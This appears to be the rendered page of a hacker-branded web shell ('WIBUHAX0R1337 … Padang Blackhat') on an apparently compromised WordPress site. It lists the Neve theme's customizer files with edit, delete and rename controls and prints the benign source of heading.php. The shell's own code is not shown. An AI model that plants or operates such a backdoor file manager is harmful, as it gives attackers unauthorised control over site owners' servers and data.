-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
themes
/
neve
/
inc
/
customizer
/
controls
/
react
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
.htaccess
0.231KB
Edit File
Delete File
Rename
builder.php
0.856KB
Edit File
Delete File
Rename
builder_columns.php
52.303KB
Edit File
Delete File
Rename
builder_section.php
0.979KB
Edit File
Delete File
Rename
button_appearance.php
0.755KB
Edit File
Delete File
Rename
documentation_section.php
1.074KB
Edit File
Delete File
Rename
heading.php
2.046KB
Edit File
Delete File
Rename
inline_select.php
0.915KB
Edit File
Delete File
Rename
instructions_control.php
0.955KB
Edit File
Delete File
Rename
instructions_section.php
1.305KB
Edit File
Delete File
Rename
multiselect.php
0.604KB
Edit File
Delete File
Rename
nr_spacing.php
0.897KB
Edit File
Delete File
Rename
ordering.php
0.759KB
Edit File
Delete File
Rename
presets_selector.php
0.726KB
Edit File
Delete File
Rename
range.php
0.602KB
Edit File
Delete File
Rename
repeater.php
0.594KB
Edit File
Delete File
Rename
responsive_radio_buttons.php
0.651KB
Edit File
Delete File
Rename
responsive_range.php
0.643KB
Edit File
Delete File
Rename
responsive_toggle.php
0.642KB
Edit File
Delete File
Rename
rich_text.php
0.902KB
Edit File
Delete File
Rename
spacing.php
0.71KB
Edit File
Delete File
Rename
typography.php
1.039KB
Edit File
Delete File
Rename
upsell_section.php
1.038KB
Edit File
Delete File
Rename
<?php /** * Heading Control. Handles data passing from args to JS. * * @package Neve\Customizer\Controls\React */ namespace Neve\Customizer\Controls\React; /** * Heading control for react */ class Heading extends \WP_Customize_Control { /** * Control type. * * @var string */ public $type = 'neve_customizer_heading'; /** * Control class. * * @var string */ public $class = ''; /** * Should be accordion? * * @var bool */ public $accordion = false; /** * Initial state. * * @var bool */ public $expanded = true; /** * How many controls to wrap. * * @var int */ public $controls_to_wrap = 1; /** * Label before the accordion. * * @var string */ public $category_label = ''; /** * Send data to _s * * @return array */ public function json() { $json = parent::json(); $json['classes'] = $this->class; $json['accordion'] = $this->accordion; $json['categoryLabel'] = $this->category_label; if ( $this->accordion === true ) { $json['classes'] .= ' accordion'; } $json['style'] = $this->print_style(); return $json; } /** * Render the control. */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control customize-control-' . $this->type; $class .= ' ' . $this->class; if ( $this->accordion ) { $class .= ' accordion'; } if ( $this->expanded ) { $class .= ' expanded'; } echo '<li id="' . esc_attr( $id ) . '" class="' . esc_attr( $class ) . '">'; echo '</li>'; } /** * Print the style for the accordion. */ protected function print_style() { $style = ''; for ( $i = 1; $i <= $this->controls_to_wrap; $i ++ ) { $style .= '.accordion.' . $this->class . ':not(.expanded)'; for ( $j = 1; $j <= $i; $j ++ ) { $style .= ' + li'; } if ( $i !== $this->controls_to_wrap ) { $style .= ','; } } $style .= '{max-height: 0;opacity: 0;margin: 0; overflow: hidden; padding:0 !important;}'; return $style; } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat